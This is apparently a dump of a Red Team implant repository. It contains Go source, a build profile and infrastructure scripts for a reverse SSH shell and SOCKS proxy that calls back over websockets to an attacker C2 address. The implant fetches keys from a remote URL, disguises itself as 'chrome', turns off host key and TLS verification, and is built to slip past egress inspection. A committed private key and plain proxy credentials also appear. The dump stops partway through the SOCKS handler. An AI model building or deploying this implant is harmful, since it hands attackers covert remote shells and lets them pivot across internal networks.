Full Code of dsnezhkov/SSHoRTy for AI

master 1f2cf786fbc8 cached
22 files
60.2 KB
19.0k tokens
39 symbols
1 requests
Download .txt
Repository: dsnezhkov/SSHoRTy
Branch: master
Commit: 1f2cf786fbc8
Files: 22
Total size: 60.2 KB

Directory structure:
gitextract_a4fzm16i/

├── .gitignore
├── LICENSE.md
├── README.md
├── conf/
│   └── build.profile
├── infra/
│   ├── gencert.sh
│   ├── squid.conf
│   └── wss2ssh_tun.sh
├── keys/
│   ├── sslcert.pem
│   └── sslkey.pem
├── src/
│   ├── keymgmt.go
│   ├── pty.go
│   ├── rssh.go
│   ├── socksport.go
│   ├── traffic.go
│   ├── types.go
│   └── vars.go
└── tools/
    ├── build_implant.sh
    ├── call_implant_daemon.py
    ├── install_implant.sh
    ├── keygen.go
    ├── test_deploy.sh
    └── transfer_implant_keys.sh

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
out/
.ssh/
.idea/
aux/


================================================
FILE: LICENSE.md
================================================
The MIT License (MIT)
---

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


================================================
FILE: README.md
================================================


<a href="https://www.ibm.com/security/services/offensive-security-services"><img src="https://github.com/dsnezhkov/SSHoRTy/wiki/images/logo.png" width="30%" align="left"></a>

## What is SSHoRTy?

A progressive, customizable standalone reverse SSH shell tunnel and SOCKS proxy implant for Linux and MacOS systems that tries hard to get a Red Team operator from :large_blue_circle: to :red_circle:, often with a :smile: and without :cold_sweat:

---
For detailed guide please see [Wiki](https://github.com/dsnezhkov/SSHoRTy/wiki)




================================================
FILE: conf/build.profile
================================================

#####################################################################################################
#
#       SSHoRTTy: Linux (future Mac) SSH real time shell implant
#           - Build custom versions for every environment
#           - Achieve full shell on internal host over reverse SSH tunnels.
#             readline, history, terminal UI, scp, sftp, exec over the same chanel
#           - SOCKS support out of the box
#             Future:  X forward, direct local and remote port tunnels.
#           - Armorized egress from corporate environment over websockets
#           - Proxy awareness (explicit and from environment) and ability to have credentials support
#           - Future: HTTP/2 tunnels
#
#           Future: Ability to specify and control commands run in restricted shells by junior RTOs.
#


####################### BUILD CONFIGURATION #########################################################
#           === Regular SSH Tunnel ===
#
# Goals:
#       - Do not use local SSH clients, drop your own. Avoids logging
#       - Cannot task employees to run convoluted SSH commands for us. One binary launch.
#       - Default SOCKS ports for convenience of the Red team operator.
#       - Achieves distributed nature of the connectivity and helps avoid attribution
#
# [Organization]  ----- |Internet| ------ [Attacker C2]
#
#      (Dropper)  ------ Call back ------> SSH Server -------------------|
#                                                                        |  Attacker SSH shell client
# 1. Internal Host <==== SSH Client <= Reverse Shell ==== SSH Server ----|          (rendezvous)
#                                                                        |  Attacker Browser+SOCKS
# 2. Internal Hosts N <==== SSH Client <= Reverse SOCKS ==== SSH Server -|
#    Internal Hosts N+1
#
#
#
#           === Websocket Armorized SSH Tunnel ===
#
# Goals:
#       - Hide from egress deep packet inspection catching SSH traffic
#       - Allow mimicry of a legitimate websocket traffic
#       - Work with a potential outbound proxy, support authentication
#       - Egress on port 443
#
# How it fits in the overall design:
#
#
# [Organization]  ------------------------|Internet| -- [Attacker C2]
#
# (Dropper)  -----> <company egress proxy> ----------> Red Websocket proxy
#                                                   | --> TCP tunnel --> Red SSH Server
#                                                                         |--> rendezvous SOCKS ports
#                                                                                   ^
#                                                            Private SSH for Red ___|
#                                                                        ^
#                                        Red Team oper __________________|
#
#

######################## CONFIGURATION ####################################

##  SSH SSHServer (host)
# Proper publicly visible SSH host to connect/redirect to
# Please note: without armorized tunnels this is the only option to reach SSH server
# When using armorized tunnels like websockify over WSS:// you may have more exit options
# For example, if the WSS:// exit host is multihomed you could connect to the second network's SSH server
# SSHServerHost=10.16.0.5
# Or, you can even listen SSH on the localhost only if directly terminating agents on the WSS:// exit host
# This affords no exposure of SSH port to the wild at all.
# SSHServerHost=167.99.88.24
SSHServerHost=127.0.0.1

# SSH port the Red server or a redirect listens on for agents on the exit node
SSHServerPort=222

# OS account with the private key the implant has to connect to the SSH server with
# see gen_ssh_user.sh
# TODO: Randomize the user

SSHServerUser=4fa48c653682c3b04add14f434a3114

# Implant ID
ImplantID=${SSHServerUser}

## Implant SSH protected B64 wrapped PK for distribution and embedding
# Option A: Local encrypted key wrapped in Base64 which gets embedded into the implant
# If file is embedded no remote SSH key fetch is made from the hosting server
SSHServerUserKeyFile="./out/${ImplantID}/${ImplantID}"
# !! SSHServerUserKey= < contents of ${SSHServerUserKeyFile} > Filled in at build time

# Option B: if the key needs to be pulled remotely
# The agent pulls the protected key and decrypts a key with a password.
# This is not SSH PK encryption, but a SSHORTY's "on the wire" protection scheme.
# Why not a direct pass-phrase encrypted SSH PK? Because there are a ton of SSH key file formats.
# For now we want to deal with a straight RSA 4096 keys, without relying on OpenSSH format quirks.
# tool: keygen.go
SSHServerUserKeyUrl="http://127.0.0.1:9000/${ImplantID}.bpk"

# Implant SSH protection password (wire, in-code storage safety)
# tool: keygen.go
SSHServerUserKeyPassphrase=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31  )
SSHServerUserKeyBits=4096

# Channel IP for reverse SSH tunnel (addr)
# After the initial SSH session is established
# listen on SSH and SOCKS ports on this address for reverse tunnels
SSHRemoteCmdHost=127.0.0.1

# Channel IP for reverse SSH tunnel (port)
SSHRemoteCmdPort=2022

# Channel IP for reverse tunnel SOCKS (addr)
SSHRemoteSocksHost=127.0.0.1

# Channel IP for reverse tunnel SOCKS (port)
SSHRemoteSocksPort=1080

# Operator Implant logon (user)
# Reverse tunnels' user on Red side
# This is used for an additional authentication to protect reverse tunnels from the RT insiders
SSHRemoteCmdUser=operator

# Operator Implant logon (password)
# Randomized on every build.
# Ex: SSHRemoteCmdPwd=da39a3ee5e6b4b0d3255bfef9560189
SSHRemoteCmdPwd=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31  )

# The implant introspects SHELL variable from the destination environment,
# If it is undefined it falls back to this:
SSHShell="/bin/sh"

# `exec` TERM value, vt100, xterm, etc.
SSHEnvTerm="xterm"


#--------------- :: Transport :: -----------------#
# How do we get to the SSH tunnel.  WS/WSS and Proxies

# Intercepting Proxy (Burp)
# export http_proxy="http://127.0.0.1:8088"
HTTPProxyFromEnvironment="no"

# Egress proxy
# TODO: HTTP/S proxy
HTTPProxy="http://167.99.88.24:8080" # Squid

# Egress proxy auth (plain)
# TODO: research NTLM if needed  https://github.com/vadimi/go-http-ntlm
HTTPProxyAuthUser="companyuser"
HTTPProxyAuthPass="Drag0n"


#---------- :: Armorized Carrier :: ---------------#
# HTTP endpoint:
HTTPEndpoint="http://167.99.88.24:8082"

# WS/WSS endpoint:
WSEndpoint="wss://167.99.88.24:8082/stream"


#----------- :: Implant Operating Context :: ---#
# Implant bin/lib name
DropperName="chrome"

# Implant build type: a library or binary`
# options : exe, c-shared, default
# C-shared is good for LD_PRELOAD
DropperBuildType="exe"

# Supported OS:
#  darwin
#  linux
DropperOS="darwin"

# Supported ARCH:
#  amd64
#  i386
DropperArch="amd64"

# Background and detach from console.
# Go solution while works is not very elegant out of the box
# You can use python deamonizer + setpoctitile to get more freedom,
# or ZombieAntFarm fetcher.
# Turn On: "yes"
Daemonize="no"

# Daemon: Log progress messages to file (local debug)
# We do not want to log in production, but we want to debug to a log file locally
LogFile="/tmp/${DropperName}.log"

# Daemon: Track the implant PID
# We do not want to save pid in production, but we want to do it locally
PIDFile="/tmp/${DropperName}.pid"

================================================
FILE: infra/gencert.sh
================================================
#!/usr/bin/env bash

DBASE="/opt/sshorty"
DKEYS="${DBASE}/keys"

echo "[+] Generating SSL Keys"
openssl req -x509 -nodes -newkey rsa:2048 \
        -keyout ${DKEYS}/server.key \
        -out ${DKEYS}/server.crt -days 365  \
        -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=globalprotect.com"



================================================
FILE: infra/squid.conf
================================================
#
# Recommended minimum configuration:
#

auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid/passwords
auth_param basic casesensitive off
auth_param basic credentialsttl 5 minutes

acl user_auth proxy_auth REQUIRED

http_access allow user_auth


# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 98.193.47.242/32
acl localnet src fc00::/7       # RFC 4193 local private network range
acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines
acl localnet src 127.0.0.1
# acl localnet src all

acl SSL_ports port 443
acl Safe_ports port 80      # http
acl Safe_ports port 443     # https
acl CONNECT method CONNECT

sslproxy_cert_error allow all
#disable this in production, it is dangerous but useful for testing
sslproxy_flags DONT_VERIFY_PEER
#
# Recommended minimum Access Permission configuration:
#
# Deny requests to certain unsafe ports
http_access deny !Safe_ports

# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports

# Only allow cachemgr access from localhost
http_access allow localhost manager
http_access deny manager

# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on "localhost" is a local user
http_access deny to_localhost

#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#

# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
http_access allow localnet
http_access allow localhost

# And finally deny all other access to this proxy
http_access deny all

# Uncomment and adjust the following to add a disk cache directory.
#cache_dir ufs /var/cache/squid 100 16 256

# Leave coredumps in the first cache dir
coredump_dir /var/cache/squid
forwarded_for delete

http_port 167.99.88.24:8080

#### SSL

## Use the below to avoid proxy-chaining
always_direct allow all
## Always complete the server-side handshake before client-side (recommended)
ssl_bump bump all
## Prior to squid 3.5 it was done like this:
#ssl_bump server-first all
## Allow server side certificate errors such as untrusted certificates, otherwise the connection is closed for such errors
sslproxy_cert_error allow all
## Or maybe deny all server side certificate errors according to your company policy
#sslproxy_cert_error deny all
## Accept certificates that fail verification (should only be needed if using 'sslproxy_cert_error allow all')
sslproxy_flags DONT_VERIFY_PEER

## Modify the http_port directive to perform SSL interception
## Ensure to point to the cert/key created earlier
## Disable SSLv2 because it isn't safe
https_port 167.99.88.24:443 intercept ssl-bump cert=/etc/squid/squid.pem key=/etc/squid/squid.key generate-host-certificates=on options=NO_SSLv2


## Disable ssl interception for dropbox.com and hotmail.com (and localhost)
acl no_ssl_interception dstdomain .google.com
ssl_bump none localhost
ssl_bump none no_ssl_interception
## Add the rest of your ssl-bump rules below
## e.g ssl_bump bump all
## etc

### DNS 
dns_nameservers 1.1.1.1 9.9.9.9
#
# Add any of your own refresh_pattern entries above these.
#
refresh_pattern .       0   20% 4320


================================================
FILE: infra/wss2ssh_tun.sh
================================================
#!/usr/bin/env bash

# DESTINATION_SSH_ADDR=167.99.88.24
DESTINATION_SSH_ADDR=127.0.0.1
DESTINATION_SSH_PORT=222
WSS_LPORT=8082
/opt/sshorty/websockify/websockify.py  --ssl-only --log-file=/opt/sshorty/logs/websocksify.log --cert=/opt/sshorty/keys/server.crt --key=/opt/sshorty/keys/server.key ${WSS_LPORT} ${DESTINATION_SSH_ADDR}:${DESTINATION_SSH_PORT}

================================================
FILE: keys/sslcert.pem
================================================
-----BEGIN CERTIFICATE-----
MIIDajCCAlICCQCia/YFAUv+8TANBgkqhkiG9w0BAQsFADB3MQswCQYDVQQGEwJH
QjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAWBgNVBAoMD0ds
b2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEUMBIGA1UEAwwL
ZXhhbXBsZS5jb20wHhcNMTgxMTMwMDA1MzU4WhcNMTkxMTMwMDA1MzU4WjB3MQsw
CQYDVQQGEwJHQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAW
BgNVBAoMD0dsb2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEU
MBIGA1UEAwwLZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQD2B+h4l0BmWIXLK4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63
RAydOdOKhdJ8MPTv8RLF7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN
4GmAMeMWJvrw2deihZgGFXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOd
ElqTSfYYRmqbuBf2HgQf25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SD
zF2ssIW+1/wHHu/lBfbkBZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKF
l7VXMDaUxkc6OBJtc4760WfFpqCvAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAFxN
DG3sufb90luchDgiBwlrcgIuE1LPDflKYYBEN22HNtHCZS/woLLPZ3Eh7VEJYos9
rea0cUWCNuRsmKPuTYmcJu9pT1AC1fw33XB8HgO/ohR/rlqKJVGEyMvaUuTF0+Vu
HcRccFRvLUnFvfqyIQcoYJ6ywq207QRMyN02mqJXuLmNF57Gifu5cU3bXCqrvkcH
pgq+AvEV7cwV5a+M097Jq3vfkJ5Dp99vE2D2NNIhNkYvt/zcKDcjBwkC7T5qVXSU
p7GgJGqve/s5LO9dcYh7v3aBYhEU/BbJHalEmIbJSv0gIEiW6STjSESO4PpZdNJA
F82d/IC1zN8f8dM39s4=
-----END CERTIFICATE-----


================================================
FILE: keys/sslkey.pem
================================================
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQD2B+h4l0BmWIXL
K4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63RAydOdOKhdJ8MPTv8RLF
7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN4GmAMeMWJvrw2deihZgG
FXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOdElqTSfYYRmqbuBf2HgQf
25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SDzF2ssIW+1/wHHu/lBfbk
BZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKFl7VXMDaUxkc6OBJtc476
0WfFpqCvAgMBAAECggEAbx3tOaGePVsXukYEwV6bI7UIYRXdmY3GGSvm6Y3uHMnk
r2PlqhzyS7MEkmLSi6QVTYfZI6v8w+2OPAQD9p+LtjS3pzPAEnwbYUdo4d6QDB3Q
wBYPDAzoaJPNRoWnQHXHiTa7uVG52TYbDgxdqyo83Kjd1QsyTW4B1XmhXYrgGovz
cZ0EltkXmkrzJHMFuMGJM50WYYJY1qpmVyEd+e89XG8qWdilW8RsKA4Dj2Xutu1Z
eri3qG0eng2V5vXixQglhSiaYQpOq1r/1GRJLhkC7SCPuFGd6Sj4GgG79IdkAZiW
ANs+g5deI8E8eRUywbzReVcFXAO1CERMgTs8kQaSiQKBgQD99RTOfCADkSaTEU/A
bHJPxYNOK3plPbEDVnSCirGZfAzTgsFnWGDDGdzzfA1bGpBt3BVCAV063qq6Y6hN
8M9ybrsnU0MMfNjHB45DXZdIDeQBKuLizRpg3e3pLDU+l4agXsdEcO6SZjSpHtVX
xOf6vuziWUgcSSOqlI+l4Q1LawKBgQD4AoFuyDJb+uqS5w6U5SSOc29zLqHrRpYc
hygRa1ZuM5USpAjfO4c4iRkKA1ubE5AbN0dtodCTAr4he9jwaHyhaZL0FYIY9s8e
lfwesjKQFTv78ggbBtHBrhZFquHq78VKSUsW2HT/iuSTVLP+C176hpyp7na2KnVn
lP1Ep260zQKBgDTwyFubKJlVwvLZowR8FwBmLk83ZRaB28rUVQl5nDhg0dOt6F+A
3vsNAzCG5cneKcmdHZla63KARJsCd214C+bRCpbSFqIdzJsBCjkk44qTyrorlIyv
MRaMbTI0kwzvTZNU7rlnyXQfdk7jLJpVY/6zmnI9JnkvDg5bVe7AkaLtAoGAVH7G
CjA6uAusj5AY77GB2uaJOfzRPY825VFG3Whsce8xAsDQJP3q+9/5n+e09gicOCmF
NFzE6tEsZcwEBSQUEgod/vq08DxmJE2FMBAWGfCiFxxGlq6kGBBvlhy6C4jU9pIx
+v6UHdv8NBXPnOXS3heumFaeK0Ib7cZc418H4KECgYBsEQK9MGPjekIA2Sp7gWpY
aP6WRepvdXhHNDcJFdhKFib1N7scheyVkRvqi1mHcYvV+rP/2OHzzmILSucFXIvw
87wwnp23ry6zGV76vtfHtxizoYIfrt6+sSmAt/fPUPfyLU2nzQ0VhogZyTx+iWtR
5EaegxtQ7F86UaMVzRdlbg==
-----END PRIVATE KEY-----


================================================
FILE: src/keymgmt.go
================================================
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/md5"
	"encoding/hex"
)

// Decrypts an AES blob by applying a hash of a passphrase,
// Returns decrypted array of bytes
func KeyDecrypt(data []byte, passphrase string) []byte {
	key := []byte(KeyCreateHash(passphrase))
	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err.Error())
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		panic(err.Error())
	}
	nonceSize := gcm.NonceSize()
	nonce, ciphertext := data[:nonceSize], data[nonceSize:]
	plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
	if err != nil {
		panic(err.Error())
	}
	return plaintext
}

// Derives a key from a passphrase string
func KeyCreateHash(key string) string {
	hasher := md5.New()
	hasher.Write([]byte(key))
	return hex.EncodeToString(hasher.Sum(nil))
}


================================================
FILE: src/pty.go
================================================
package main

import (
	"encoding/binary"
	"log"
	"syscall"
	"unsafe"
)

// parseDims extracts two uint32s from the provided buffer.
func parseDims(b []byte) (uint32, uint32) {
	w := binary.BigEndian.Uint32(b)
	h := binary.BigEndian.Uint32(b[4:])
	return w, h
}

// Winsize stores the Height and Width of a terminal.
type Winsize struct {
	Height uint16
	Width  uint16
	x      uint16 // unused
	y      uint16 // unused
}

// SetWinsize sets the size of the given pty.
func SetWinsize(fd uintptr, w, h uint32) {
	log.Printf("Pty: window resize %dx%d", w, h)
	ws := &Winsize{Width: uint16(w), Height: uint16(h)}
	syscall.Syscall(
			syscall.SYS_IOCTL, fd,
			uintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws)))
}


================================================
FILE: src/rssh.go
================================================
/*
	SSH implant
*/

package main

import (
	"C"
	"crypto/tls"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"os/exec"
	"os/signal"
	"runtime"
	"strconv"
	"strings"
	"syscall"
	"time"

	"github.com/gorilla/websocket"
	"golang.org/x/crypto/ssh"
)

// For buildmode shared
// export as `entry`

//export entry
func entry() int {
	main()
	return 0
}

func main() {

	if len(os.Args) != 2 {
		fmt.Printf("FYI: Use %s [start|stop] but OK... \n ", os.Args[0])
	}

	if LogFile != "" {
		flog, err := os.OpenFile(LogFile,
			os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err != nil {
			log.Println(err)
		}
		defer flog.Close()

		log.SetOutput(flog)
	}

	if Daemonize == strings.ToLower("yes") {

		if len(os.Args) == 1 || strings.ToLower(os.Args[1]) == "start" {

			// check if daemon already running.
			if _, err := os.Stat(PIDFile); err == nil {
				log.Println("Implant: Already running or pid file exist.")
				os.Exit(1)
			}

			cmd := exec.Command(os.Args[0], "run")
			cmd.Start()
			log.Printf("Implant: Daemon process %s, PID %d\n", os.Args[0], cmd.Process.Pid)

			savePID(cmd.Process.Pid)
			time.Sleep(1)
			os.Exit(0)

		}

		if strings.ToLower(os.Args[1]) == "run" {

			// Make arrangement to remove PID file upon receiving the SIGTERM from kill command
			ch := make(chan os.Signal, 1)
			signal.Notify(ch, os.Interrupt, os.Kill, syscall.SIGTERM)

			go func() {
				signalType := <-ch
				signal.Stop(ch)
				log.Println("Implant: Exit command received. Exiting...")

				// this is a good place to flush everything to disk
				// before terminating.
				log.Println("Implant Received signal type : ", signalType)

				// remove PID file
				os.Remove(PIDFile)
				os.Exit(0)

			}()

			doit()
		}

		// upon receiving the stop command
		// read the Process ID stored in PIDfile
		// kill the process using the Process ID
		// and exit. If Process ID does not exist, prompt error and quit

		if strings.ToLower(os.Args[1]) == "stop" {
			if _, err := os.Stat(PIDFile); err == nil {
				data, err := ioutil.ReadFile(PIDFile)
				if err != nil {
					log.Println("Implant: Daemon Not running")
					os.Exit(1)
				}
				ProcessID, err := strconv.Atoi(string(data))

				if err != nil {
					log.Println("Implant: Unable to read and parse process id found in ", PIDFile)
					os.Exit(1)
				}

				process, err := os.FindProcess(ProcessID)

				if err != nil {
					log.Printf("Implant: Unable to find process ID [%v] with error %v \n", ProcessID, err)
					os.Exit(1)
				}
				// remove PID file
				os.Remove(PIDFile)

				log.Printf("Implant: Killing process ID [%v] now.\n", ProcessID)
				// kill process and exit immediately
				err = process.Kill()

				if err != nil {
					log.Printf("Implant: Unable to kill process ID [%v] with error %v \n", ProcessID, err)
					os.Exit(1)
				} else {
					log.Printf("Implant: Killed process ID [%v]\n", ProcessID)
					os.Exit(0)
				}

			} else {
				log.Println("Implant: Daemon Not running.")
				os.Exit(1)
			}
		} else {
			log.Printf("Implant: Unknown command : %v\n", os.Args[1])
			log.Printf("Usage : %s [start|stop]\n", os.Args[0])
			os.Exit(1)
		}
	} else {
		doit()
	}
}

// getSSHKeyHTTP fetches SSH private key from external server
func getSSHKeyHTTP() ([]byte, error) {

	// TODO: Implement backoff: https://github.com/jpillora/backoff
	resp, err := http.Get(SSHServerUserKeyUrl)
	if err != nil {
		log.Println("Implant: Key Server not accessible or file not found")
		return nil, err
	}
	defer resp.Body.Close()

	eKeyBytesA, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println("Implant: Key Server response not understood")
		return nil, err // TODO: Should not exit, instead try to remediate within backoff or return error
	}

	eKeyBytes, err := b64ToBytes(string(eKeyBytesA[:]))
	if err != nil {
		log.Println("Implant: Base64 key decode error:", err)
		return nil, err
	}
	return eKeyBytes, nil
}

func b64ToBytes(b64 string) ([]byte, error) {
	// Local unwrap
	eKeyBytes, err := base64.StdEncoding.DecodeString(b64)
	if err != nil {
		log.Println("Implant: Base64 key decode error:", err)
		return nil, err
	}
	return eKeyBytes, nil
}

func doit() {

	var (
		eKeyBytes []byte
		err       error
		httpProxyURL *url.URL
	)

	runtime.GOMAXPROCS(runtime.NumCPU())

	if SSHServerUserKey != "" {
		eKeyBytes, err = b64ToBytes(SSHServerUserKey)
	} else {
		// Remote fetch
		eKeyBytes, err = getSSHKeyHTTP()
		if err != nil {
			log.Println("Implant: Unable to proceed as SSH key not fetched")
		}
	}
	// Various SSH servers have different formats for SSH keys. They also change at will.
	// To avoid variations in (armored) SSH key, we generate our own pure RSA key irrespective of the
	// destination SSH server, with a passphrase. This is a passphrase to unwrap the key.
	key := KeyDecrypt(eKeyBytes, SSHServerUserKeyPassphrase)

	signer, err := ssh.ParsePrivateKey(key)
	if err != nil {
		log.Fatalf("Implant: Unable to parse private key: %v", err)
	}

	// Setup authentication with the private key
	sshConfig := &ssh.ClientConfig{
		// SSH connection username
		User: SSHServerUser,
		Auth: []ssh.AuthMethod{
			ssh.PublicKeys(signer),
		},

		// TODO: Improve with option to validating a static Host key
		// HostKeyCallback: ssh.FixedHostKey(hostKey),
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
	}

	// Client side:
	// <-> Likely where websocket base network is plugged in

	// TODO: improve by giving option to validate instead of InsecureSkipVerify
	tlsClient := tls.Config{InsecureSkipVerify: true}
	d := websocket.Dialer{
		//ReadBufferSize:  1024,
		//WriteBufferSize: 1024,
		HandshakeTimeout: 45 * time.Second,
		Subprotocols:     []string{},
		TLSClientConfig:  &tlsClient,
	}
	// Dialer options. Experimental, set by flag
	// TODO: config variable
	d.EnableCompression = true


	// TODO: Introduce proxy options:
	// build the websocket dialer with proxy information like credentials

	// q. Use known HTTP proxy outbound
	if HTTPProxy != "" {

		// Proxy specifies a function to return a proxy for a given
		// Request. If the function returns a non-nil error, the
		// request is aborted with the provided error.
		// If Proxy is nil or returns a nil *URL, no proxy is used.
		d.Proxy = func(*http.Request) (*url.URL, error) {

			httpProxyURL, err = url.Parse(HTTPProxy)
			if err != nil {
				return nil, err
			}

			if HTTPProxyAuthUser != "" && HTTPProxyAuthPass != "" {
				httpProxyURL.User = url.UserPassword(HTTPProxyAuthUser, HTTPProxyAuthPass)
			}
			return httpProxyURL, nil
		}
		log.Println("HTTP:WS: Explicit proxy set")
	}

	// b. Get proxy from environment
	if HTTPProxyFromEnvironment == strings.ToLower("yes") {
		d.Proxy = http.ProxyFromEnvironment
		log.Println("HTTP:WS: Environment proxy set")
	}

	/* HTTP endpoint */
	// TODO: Improve logic to differentiate WSS/WS
	httpEndpoint, err := url.Parse(HTTPEndpoint)
	if err != nil {
		log.Fatal(err)
	}

	// Evasion by initial HTTP Traffic flexibility. Profiles.
	// TODO: Refactor HTTP Evasion
	// cookies
	jar, _ := cookiejar.New(nil)
	d.Jar = jar
	cookies := []*http.Cookie{{Name: "gorilla", Value: "ws", Path: "/"}}
	d.Jar.SetCookies(httpEndpoint, cookies)

	// Setup wss evasion params
	// TODO: Research how this can be used
	data := url.Values{}
	data.Add("name", "foo")
	data.Add("surname", "bar")
	/* End HTTP Endpoint */

	// Setup Queries (randomize /stream resource)
	// TODO: Why data is not seen?
	wssReqURL := WSEndpoint
	wssReq, _ := http.NewRequest("GET", wssReqURL, strings.NewReader(data.Encode()))
	wssReq.Form = data

	// Setup headers
	wssReq.Header.Set("User-Agent",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 1.5; rv:42.0) Gecko/20170101 Firefox/42.0")

	// TODO: test auth: https://github.com/gorilla/websocket/blob/master/client_server_test.go
	wsConn, resp, err := d.Dial(wssReqURL, wssReq.Header)

	// TODO: Backoff?
	if err != nil {
		log.Printf("HTTP:WS: WS-Dial INTO remote server error: %s", err)
		if err == websocket.ErrBadHandshake {
			log.Printf("HTTP:WS: Response Status: %s", resp.Status)
			log.Fatalln(fmt.Printf("HTTP:WS: handshake failed with status %d\n", resp.StatusCode))
		}
	}

	// Implant side
	// Wrap SSH into WS
	conn := NewWebSocketConn(wsConn)

	sshConn, chans, reqs, err := ssh.NewClientConn(
		conn, SSHServerHost+":"+SSHServerPort, sshConfig)
	serverConn := ssh.NewClient(sshConn, chans, reqs)

	/* This is not needed as we are armorizing the tunnel
	serverConn, err = ssh.Dial("tcp", serverEndpoint.String(), sshConfig)
	*/

	// Server (Red) side:
	// Listen on remote server port - SSH Shell, command, Subsystems
	listener, err := serverConn.Listen("tcp", SSHRemoteEndpoint.String())
	if err != nil {
		log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpoint error: %s", err))
	}
	defer listener.Close()

	// Server (Red) side:
	// Listen on remote server port - SOCKS
	listenerS, err := serverConn.Listen("tcp", SSHRemoteEndpointSOCKS.String())
	if err != nil {
		log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpointSOCKS error: %s", err))
	}
	defer listenerS.Close()

	// Server (Red) side:
	// Setup reverse SSH client authentication
	config := &ssh.ServerConfig{
		// Provide an additional level of protection for remote SSH shell
		// Operators have to provide a password to connect to the SSH implant tunnel randezvous
		PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {
			if c.User() == SSHRemoteCmdUser && string(pass) == SSHRemoteCmdPwd {
				return nil, nil
			}
			return nil, fmt.Errorf("SSH: RTO password (SSHRemoteCmdPwd) rejected for %q", c.User())
		},
		// TODO: Implement Key-based auth for the operators
		// See: https://go.googlesource.com/crypto/+/master/ssh/client_auth_test.go
	}

	// use the same private key to come back to the implant
	config.AddHostKey(signer)

	// accept SOCKS listener
	go acceptSLoop(listenerS)
	// accept SSH shell
	acceptLoop(listener, config)
}



// savePID saves daemon PID to file
func savePID(pid int) {

	file, err := os.Create(PIDFile)
	if err != nil {
		log.Printf("Implant: Daemon Unable to create pid file : %v\n", err)
	}

	defer file.Close()

	_, err = file.WriteString(strconv.Itoa(pid))
	if err != nil {
		log.Printf("Implant: Daemon Unable to create pid file : %v\n", err)
	}

	file.Sync() // flush to disk
}


================================================
FILE: src/socksport.go
================================================
package main

import (
	"bytes"
	"encoding/binary"
	"io"
	"log"
	"net"
	"sync"
)

// handleSConn handles the SOCKS on the reverse tunnel end
func handleSConn(local net.Conn) {
	connections.Add(1)
	defer local.Close()
	defer connections.Done()

	// SOCKS does not include a length in the header, so take
	// a punt that each request will be readable in one go.
	buf := make([]byte, 256)

	// read from local SOCKS
	n, err := local.Read(buf)
	if err != nil || n < 2 {
		log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
		return
	}
	buf = buf[:n]

	// check SOCKS version
